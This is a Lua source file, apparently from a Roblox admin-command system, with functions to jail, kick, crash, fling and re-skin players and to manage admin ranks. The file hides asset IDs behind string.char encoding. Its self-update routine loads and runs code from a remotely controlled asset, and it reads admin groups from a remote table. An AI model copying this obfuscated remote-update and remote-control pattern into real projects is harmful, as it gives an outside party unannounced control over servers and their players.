 function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
 	if IsAbusive == nil then IsAbusive = false end
 	if Commands[CommandName] then table.remove(Commands[CommandName]) end
 	Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
 end
 
 function CORE:FixLighting() coroutine.wrap(function()
 	ModLighting = false
 	wait(0.2)
 	Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
 	Server.Lighting.FogColor = Color3.new(0,0,0)
 	Server.Lighting.Brightness = 1
 	Server.Lighting.TimeOfDay = 14
 	Server.Lighting.FogEnd = 100000
 end)() end
 
 function CORE:Round(Number)
 	if Number >= 0.5 then
 		return math.ceil(Number)
 	elseif Number < 0.5 then
 		return math.floor(Number)
 	end
 end
 
 local AdminID,Got = nil,false
 repeat wait()
 	Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
 until Got == true
 
 function CORE:GetTable(ID)
 	local Thing = nil
 	repeat wait()
 		ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
 	until Thing
 	return Thing
 end
 
 function CORE:InAdminGroup(Speaker)
 	local IsIn = false
 	for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
 		if Speaker:IsInGroup(Get) then
 			IsIn = true
 		end
 	end
 	if IsIn == true then
 		return true
 	else
 		GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
 		return false
 	end
 end
 
 function CORE:ReverseTable(Table)
 	if type(Table) ~= "table" then return Table end
 	local NewTable = {}
 	for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
 	return NewTable
 end
 
 function CORE:Log(LogTable, Player, Chat)
 	local PlayerName = tostring(Player)
 	if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
 	table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
 end
 
 function CORE:Jail(Player)
 	if not Player then return nil end
 	local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
 	Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
 	local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
 	local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
 	local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
 	local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
 	Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
 	Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
 	Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
 	local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
 	Cell:MoveTo(Vector3.new(0,3,0))
 
 	if Player.Character and Player.Character:FindFirstChild("Torso") then
 		Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
 		Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
 	end
 	table.insert(Dispose, Cell)
 	Jails[Player.Name] = Cell
 end
 
 function CORE:UnJail(Player)
 	if not Player then return nil end
 	if Jails[Player.Name] then
 		Jails[Player.Name]:Destroy()
 		Jails[Player.Name] = nil
 	end
 end
 
 function CORE:ChangeName(Player, NewName)
 	if not Player or not NewName then return nil end
 	if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
 		local NewName = STRING:FormatReplace(Player, NewName)
 
 		for _,Obj in pairs(Player.Character:GetChildren()) do
 			if Obj.Name == "Label" then Obj:Destroy() end
 		end
 
 		local Head = Player.Character.Head
 		local HeadClone = Head:Clone()
 
 		-- make actual head invisible
 		Head.Transparency = 1
 		ypcall(function() Head.face.Transparency = 1 end)
 
 		-- make fake head visible
 		HeadClone.Transparency = 0
 		ypcall(function() HeadClone.face.Transparency = 0 end)
 
 		local Label = Instance.new("Model", Player.Character)
 		Label.Name = "Label"
 
 		local Model = Instance.new("Model", Label)
 		Model.Name = NewName
 
 		local HumanoidClone = Instance.new("Humanoid", Model)
 		coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
 
 		HeadClone.Position = Vector3.new(0,100,0)
 		HeadClone.CanCollide = false
 		ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
 
 
 		Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
 			HeadClone.Parent = Model
 			local Weld = Instance.new("Weld", HeadClone)
 			Weld.Part0 = HeadClone
 			Weld.Part1 = Head
 		end)
 	end
 end
 
 function CORE:UpdateAdmin()
 	if Server.Storage:FindFirstChild("PreventMMLUpdate") then
 		return nil
 	end
 	local UpdateModel = AdminID
 	if UpdateModel == 0 then return end
 	local NewAdminModel = nil
 	ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
 	if NewAdminModel then
 		local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
 		if NewAdmin then
 			local NewVersion = NewAdmin:FindFirstChild("Version")
 			if NewVersion.Value ~= CORE.Version.Value then
 				if ExploitModule then
 					ExploitModule.Disabled = true
 					ExploitModule:Destroy()
 				end
 				NewAdmin.Disabled = true
 				NewAdmin.Parent = Workspace
 				if not Settings then
 					local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
 					if NewSettings then NewSettings.Parent = Workspace end
 				end
 				wait() NewAdmin.Disabled = false
 				CORE:RemoveAdmin()
 			else
 				NewAdminModel:Destroy()
 			end
 		end
 	end
 end
 
 function CORE:UnpackPlayers(Players)
 	local PlayerNames = ""
 	for Num,Player in pairs(Players) do
 		if Player ~= nil then
 			if Num ~= #Players then
 				PlayerNames = PlayerNames..Player.Name..", "
 			else
 				PlayerNames = PlayerNames..Player.Name
 			end
 		end
 	end
 	return PlayerNames
 end
 
 function CORE:GetValue(Value)
 	if Value:IsA("StringValue") then
 		if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
 		if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
 		if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
 		if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
 		if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
 		if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
 		if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
 			for Num,Admin in pairs(Settings.Ranks["Admin"]) do
 				if Admin == Value.Value then
 					table.remove(Settings.Ranks["Admin"],Num)
 				end
 			end
 		end end
 	end
 end
 
 function CORE:GetPlayer(ID)
 	local Return = {"Unknown", ID}
 	if tonumber(ID) then
 		for _,Data in pairs(CharacterCache) do
 			if ID == Data[2] then
 				return Data
 			end
 		end
 		ypcall(function()
 			local Name = Server.Players:GetNameFromUserIdAsync(ID)
 			if Name then
 				local Data = {Name, ID}
 				table.insert(CharacterCache, Data)
 				Return = Data
 			end
 		end)
 	else
 		local Name = tostring(ID)
 		for _,Data in pairs(CharacterCache) do
 			if string.lower(Name) == string.lower(Data[1]) then
 				return Data
 			end
 		end
 		ypcall(function()
 			local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
 			if PlayerID then
 				Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
 				local Data = {Name, PlayerID}
 				table.insert(CharacterCache, Data)
 				Return = Data
 			end
 		end)
 	end
 
 	return Return
 end
 
 function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
 	if ID and #tostring(ID) >= 1 then
 		local PlayerName = nil
 
 		local Players = STRING:Scan(ID, Speaker)
 		if #Players >= 1 then -- if player is found in server
 			ID = Players[1].UserId
 		elseif tonumber(ID) then
 			local Data = CORE:GetPlayer(ID)
 			PlayerName = Data[1]
 		else
 			local Data = CORE:GetPlayer(tostring(ID))
 			PlayerName = Data[1]
 			ID = Data[2]
 		end
 
 		if tonumber(ID) == 20018 then -- exploding easter bunny
 			local OldID = ID
 			ID = 1
 			if Speaker then
 				if RANK:GetRank(Speaker) == "Member" then
 					coroutine.wrap(function()
 						wait(1)
 						GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
 					end)()
 				else ID = OldID
 				end
 			end
 		elseif tonumber(ID) == 1311 then -- ffjosh
 			local OldID = ID
 			ID = 1
 			if Speaker then
 				if RANK:GetRank(Speaker) == "Member" then
 					coroutine.wrap(function()
 						wait(1)
 						GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
 					end)()
 				else ID = OldID
 				end
 			end
 		end
 
 		if tonumber(ID) then
 			local Position = nil
 			if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
 				if ManualPos then
 					Position = ManualPos
 				else
 					Position = Player.Character.Torso.Position
 				end
 			end
 			Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
 			wait() Player:LoadCharacter() wait()
 			if Position then Player.Character:MoveTo(Position) end
 			if not Perm then
 				Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
 			end
 			if NameChar and PlayerName then
 				wait(2)
 				CORE:ChangeName(Player, PlayerName)
 			end
 		end
 	end
 end)() end
 
 function CORE:GenerateShield(Player)
 	if not Player then return nil end
 	if not Player.Character then return nil end
 	local Torso = Player.Character:FindFirstChild("Torso")
 	if not Torso then return nil end
 
 	local Shield = Player.Character:FindFirstChild("Shield")
 	if Shield then Shield:Destroy() end
 
 	Shield = Instance.new("Part", Player.Character)
 	Shield.Name = "Shield"
 	Shield.Locked = true
 	Shield.CanCollide = false
 	Shield.Size = Vector3.new(10,10,10)
 	Shield.Shape = "Ball"
 	Shield.Color = GUI:GetColor()
 	Shield.Transparency = 0.5
 	Shield.TopSurface = "Smooth"
 	Shield.BottomSurface = "Smooth"
 	Shield.Anchored = true
 	Shield.Position = Torso.Position
 
 	local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
 	local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
 
 	Hum:Play()
 
 	Shield.Touched:connect(function(Part)
 		if Part.Parent ~= Server.Workspace then
 			local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
 			if Humanoid then
 				local Char = Humanoid.Parent
 				if Char:IsA("Model") and Humanoid.Health > 0 then
 					if Char ~= Player.Character then
 						Char:BreakJoints()
 						Zap:Play()
 					end
 				end
 			end
 		end
 	end)
 
 	coroutine.wrap(function() repeat wait()
 		Shield.CFrame = Torso.CFrame
 	until Torso.Parent == nil or Shield.Parent == nil end)()
 end
 
 function CORE:FlingPlayer(Player)
 	if Player and Player.Character then
 		if Player.Character:FindFirstChild("Torso") then
 			local Fling = Instance.new("BodyForce", Player.Character.Torso)
 			Fling.Name = "Fling"
 			Fling.force = Vector3.new(10000,10000,10000)
 		end
 	end
 end
 
 function CORE:Kick(Player, CustomMessage)
 	if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
 	coroutine.wrap(function()
 		CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
 		wait(1)
 		Player:Kick(CustomMessage)
 	end)()
 end
 
 function CORE:Crash(Player)
 	local Parent = Player
 	if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
 	elseif Player.Character then Parent = Player.Character end
 
 	CORE:ExecuteResource("Crash", Parent)
 end
 
 function CORE:RestoreCamera(Player)
 	if Player.Backpack then
 		CORE:ExecuteResource("RestoreCamera", Player.Backpack)
 	end
 end
 
 function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
 	local function ScanInstance(Object)
 		if #Object:GetChildren() > 0 then
 			for _,Obj in pairs(Object:GetChildren()) do
 				local IsType = false
 				if ObjTypes and #ObjTypes > 0 then
 					for _,ObjType in pairs(ObjTypes) do
 						if Obj:IsA(ObjType) then
 							IsType = true
 							break
 						end
 					end
 				else
 					IsType = true
 				end
 				if IsType == true then
 					ActiveFunc(Obj)
 				end
 				ScanInstance(Obj)
 			end
 		end
 	end
 	ScanInstance(BaseObj)
 end
 
 function CORE:AnchorPlayer(Player)
 	if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
 
 	Player.Character.Humanoid.WalkSpeed = 0
 	for _,Object in pairs(Player.Character:GetChildren()) do
 		if Object:IsA("BasePart") then
 			Object.Anchored = true
 		end
 	end
 end
 
 function CORE:UnanchorPlayer(Player)
 	if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
 
 	Player.Character.Humanoid.WalkSpeed = 16
 	for _,Object in pairs(Player.Character:GetChildren()) do
 		if Object:IsA("BasePart") then
 			Object.Anchored = false
 		end
 	end
 end
 
 function CORE:InvisiblePlayer(Player)
 	if not Player or not Player.Character then return end
 
 	CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
 end
 
 function CORE:VisiblePlayer(Player)
 	if not Player or not Player.Character then return end
 
 	CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
 end
 
 function CORE:Nuke(Player) coroutine.wrap(function()
 	local Pos = CFrame.new(0,1,0)
 	if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
 	local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
 	local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
 	local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
 	local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
 	local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
 
 	local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
 
 	Server.Lighting.Brightness = 5
 	Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
 	Server.OutdoorAmbient = Color3.new(1,1,1)
 
 	local Exp = Instance.new("Explosion", Server.Workspace)
 	Exp.Position = Pos.p
 	Exp.BlastPressure = 10000000
 	Exp.BlastRadius = 1000000
 	Exp.Hit:connect(function(Part)
 		if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
 			ypcall(function()
 				Part.Anchored = false
 				Part.BrickColor = BrickColor.new("Black")
 				Part.Material = "Slate"
 				Part:BreakJoints()
 			end)
 		end
 	end)
 
 	local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
 	BoomSound:Play()
 	for i = 0,100,0.5 do
 		Blast.Anchored = true
 		Wave.Anchored = true
 		BlastMesh.Scale = Vector3.new(i,i,i)
 		WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
 		Blast.CFrame = Pos
 		wait()
 	end
 	BoomSound:Stop()
 	Blast:Destroy()
 	Wave:Destroy()
 	wait()
 	BoomSound:Destroy()
 	Effect:Destroy()
 	for i = 10,5,-1 do
 		Server.Lighting.Brightness = (i-5) + 1
 		Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
 		Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
 		wait(0.05)
 	end
 end)() end
 
 function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
 	local AssetID = tonumber(AssetID)
 	local Item = nil
 	if AssetID and AssetID ~= 1055299 then
 		local CanInsert = true
 		if AbuseMode then
 			for _,ID in pairs(RemoteAbuseGear) do
 				if AssetID == tonumber(ID) then CanInsert = false break end
 			end
 			for _,ID in pairs(Settings.AbusableGear) do
 				if AssetID == tonumber(ID) then CanInsert = false break end
 			end
 		end
 		if CanInsert then
 			Item = Server.IS:LoadAsset(AssetID)
 			if GetFirstChild then
 				Item = Item:GetChildren()[1]
 				if FirstChildTypes and Item then
 					local ValidType = false
 					for _,Type in pairs(FirstChildTypes) do
 						if Item:IsA(Type) then
 							ValidType = true
 							break
 						end
 					end
 					if ValidType == false then
 						Item = nil
 					end
 				end
 			end
 			if Item and Parent then
 				Item.Parent = Parent
 			end
 		end
 	end
 	return Item
 end
 
 function CORE:GivePackage(Player, PID) coroutine.wrap(function()
 	if not Player or not Player.Character then return nil end
 	PID = tonumber(PID)
 	for _,Obj in pairs(Player.Character:GetChildren()) do
 		if Obj:IsA("CharacterMesh") then Obj:Destroy() end
 	end
 	if PID then
 		-- back when we needed HttpService to get packages.
 		--[[
 		if PackageCache[PID] then
 			for _,ID in pairs(PackageCache[PID]) do
 				CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
 			end
 		else
 			local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
 			if IDsJSON then
 				local IDs = REMOTE:Decode(IDsJSON)
 				if IDs then
 					if not IDs["Error"] then
 						table.insert(PackageCache, IDs)
 						for _,ID in pairs(IDs) do
 							CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
 						end
 					end
 				end
 			end
 		end
 		]]
 		-- also, no need for a package cache since the GetAssetIdsForPackage method handles that internally
 		local IDs = {}
 		ypcall(function() IDs = Server.AS:GetAssetIdsForPackage(PID) end) -- it still errors so it needs to be contained.
 		if #IDs > 0 then
 			for _,ID in pairs(IDs) do
 				local PackagePart = CORE:Insert(ID)
 				for _,Obj in pairs(PackagePart:GetChildren()) do
 					if Obj:IsA("Accoutrement") or Obj:IsA("CharacterMesh") then
 						Obj.Parent = Player.Character
 					elseif Obj:IsA("Folder") then
 						if Obj.Name == "R6" then -- r15 coming to mml's admin confirmed?
 							Obj:GetChildren()[1].Parent = Player.Character
 						end
 					end
 				end
 			end
 		end
 	end
 end)() end
 
 function CORE:ChangeBet(Bet)
 	if tostring(Bet) and Bet ~= Settings.Bet then
 		for Index,Data in pairs(Commands) do
 			Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
 		end
 		Settings.Bet = Bet
 	end
 end
 
 function CORE:ResetLighting()
 	ModLighting = false wait(0.2) ModLighting = true
 end
 
 function CORE:Fly(Player, Force)
 	if Player and Player.Character then
 		local StopFly = Instance.new("RemoteFunction", Player.Character)
 		StopFly.Name = "StopMMLFly"
 		CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
 	end
 end
 
 function CORE:GiveTools(Player, Type)
 	if not Player or not Player:FindFirstChild("Backpack") then return nil end
 	Type = string.lower(Type)
 	local _,RankNum = RANK:GetRank(Player)
 	local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
 	local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
 
 	if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
 		for Name,Type in pairs(BaseBuildTools) do
 			local Tool = Instance.new("HopperBin", Player.Backpack)
 			Tool.Name = Name
 			Tool.BinType = Type
 		end
 	elseif Type == "psbtools" then
 		for _,Tool in pairs(BuildTools) do
 			CORE:Insert(Tool, Player.Backpack, true)
 		end
 	elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
 		if F3X then
 			local F3X = F3X:Clone()
 			F3X.Parent = Player.Backpack
 		end
 	elseif Type == "btools" then
 		if F3X then
 			local F3X = F3X:Clone()
 			F3X.Parent = Player.Backpack
 		end
 		for Name,Type in pairs(BaseBuildTools) do
 			local Tool = Instance.new("HopperBin", Player.Backpack)
 			Tool.Name = Name
 			Tool.BinType = Type
 		end
 		for _,Tool in pairs(BuildTools) do
 			CORE:Insert(Tool, Player.Backpack, true)
 		end
 	else
 		for _,Region in pairs(ToolRegions) do
 			CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
 				if Type == "all" then
 					local NewItem = Item:Clone()
 					NewItem.Parent = Player.Backpack
 				elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
 					local NewItem = Item:Clone()
 					NewItem.Parent = Player.Backpack
 				end
 			end)
 		end
 	end
 end
 
 function CORE:Scale(Player, ScalePercent)
 	if not Player or not Player.Character or not tonumber(ScalePercent) then return end
 	local Ratio = ScalePercent/100
 	if Ratio < 0.05 then Ratio = 0.05 end
 	if Ratio > 100 then Ratio = 100 end
 	if Ratio > 1 then Ratio = math.ceil(Ratio) end
 	local Char = Player.Character
 
 	local Clean = Char:FindFirstChild("Clean")
 	if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
 	Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
 
 	local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
 		local Welds = {}
 		local Parts = {}
 
 		local function Handle(Obj)
 			if Obj:IsA("BasePart") and not JustWeld then
 				table.insert(Parts, Obj)
 			elseif Obj:IsA("SpecialMesh") and not JustWeld then
 				if Obj.Name == "MML Mesh" then
 					Obj:Destroy()
 				end
 				if Obj.MeshType == Enum.MeshType.FileMesh then
 					Obj.Offset = Obj.Offset * ScaleRatio
 					Obj.Scale = Obj.Scale * ScaleRatio
 				elseif Ratio < 1 then
 					Obj.Offset = Obj.Offset * ScaleRatio
 					Obj.Scale = Obj.Scale * ScaleRatio
 				end
 			elseif Obj:IsA("CharacterMesh") and not JustWeld then
 				if Ratio < 1 then
 					local BodyPart = ""
 					local TextureID = Obj.BaseTextureId
 					if TextureID == 0 then TextureID = Obj.OverlayTextureId end
 					if TextureID == 0 then TextureID = nil end
 					if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
 					if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
 					if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
 					if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
 					if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
 					if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
 					local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
 					NewMesh.Name = "MML Mesh"
 					NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
 					if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
 					NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
 					Obj:Destroy()
 				end
 			elseif Obj:IsA("JointInstance") then
 				local NewWeld = Obj:Clone()
 				table.insert(Welds, {NewWeld, Obj.Parent})
 			elseif NewAdd == true and not JustWeld then
 				if Obj:IsA("Tool") then
 					--Cycle(Char["Right Arm"], ScaleRatio, false, true)
 				elseif Obj:IsA("Accoutrement") then
 					--Cycle(Char.Head, ScaleRatio, false, true)
 				end
 			end
 			if #Obj:GetChildren() > 0 then
 				for _,NewObj in pairs(Obj:GetChildren()) do
 					Handle(NewObj, ScaleRatio)
 				end
 			end
 		end
 		Handle(BaseObj)
 		for _,Part in pairs(Parts) do
 			if Ratio >= 1 then
 				Part.Size = Part.Size * ScaleRatio
 			else
 				local Allowed = true
 				for _,Obj in pairs(Part:GetChildren()) do
 					if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
 						Allowed = false
 					end
 				end
 				if Allowed == true then
 					local NewMesh = Instance.new("BlockMesh", Part)
 					NewMesh.Name = "MML Mesh"
 					NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
 				end
 			end
 		end
 		for _,WeldData in pairs(Welds) do
 			if WeldData[1] then
 				local Obj = WeldData[1]
 				local NewWeld = Obj:Clone()
 
 				NewWeld.Parent = WeldData[2]
 				NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
 				NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
 			end
 		end
 		for _,Part in pairs(Parts) do
 			Part:MakeJoints()
 		end
 		Welds = {}
 		Parts = {}
 	end
 	Cycle(Char, Ratio)
 	Char:MakeJoints()
 
 	local Added = Char.ChildAdded:connect(function(Obj)
 		Cycle(Obj, Ratio, NewAdd)
 	end)
 	local Removed = Char.ChildRemoved:connect(function(Obj)
 		Cycle(Obj, Ratio^-1, NewAdd)
 	end)
 
 	Clean.OnInvoke = function()
 		Added:disconnect()
 		Removed:disconnect()
 		local Location = Vector3.new(0,5,0)
 		if Char:FindFirstChild("Torso") then
 			Location = Char.Torso.Position + Vector3.new(0,2,0)
 		end
 		Player:LoadCharacter()
 		wait(0.5)
 		Player.Character:MoveTo(Location)
 		wait(0.5)
 		return nil
 	end
 
 	if Char:FindFirstChild("Torso") then
 		Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
 	end
 	if Char:FindFirstChild("Humanoid") then
 		Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
 	end
 	if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
 		Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
 	end
 end
 
 function CORE:AddExploit(PlayerClient, Data)
 	local PlayerClientName = PlayerClient.Name
 	local NewData = CORE:GetTime(true, true).." @ "..Data
 	for _,Player in pairs(Server.Players:GetChildren()) do
 		GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
 	end
 	local ExploitLog = Server.GDS:GetAsync("ExploitLog")
 	if type(ExploitLog) ~= "table" then
 		Server.GDS:SetAsync("ExploitLog", {NewData})
 	else
 		table.insert(ExploitLog, NewData)
 		Server.GDS:SetAsync("ExploitLog", ExploitLog)
 	end
 	REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
 
 	return true
 end
 
 function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
 	if not tostring(Name) then Name = "Dummy" end
 	if not Position then Position = Vector3.new(0,5,0) end
 	if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
 		Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
 	end
 
 	local Figure = CORE:Insert(68452456, Server.Workspace, true)
 	Figure:MakeJoints()
 	Figure.Head.BrickColor = BrickColor.new("Bright yellow")
 	Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
 	Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
 	Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
 	Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
 	Figure.Torso.BrickColor = BrickColor.new("Bright blue")
 
 	Figure.Name = STRING:FormatReplace(Speaker, Name)
 	Figure:MoveTo(Position)
 
 	table.insert(Objects, Figure)
 
 	if DisableAnimation == true then
 		Figure.Animate.Disabled = true
 	end
 
 	return Figure
 end
 
 function CORE:ClonePlayer(Player, Name, Position)
 	if not Player or not Player.Character then return nil end
 
 	Player.Character.Archivable = true
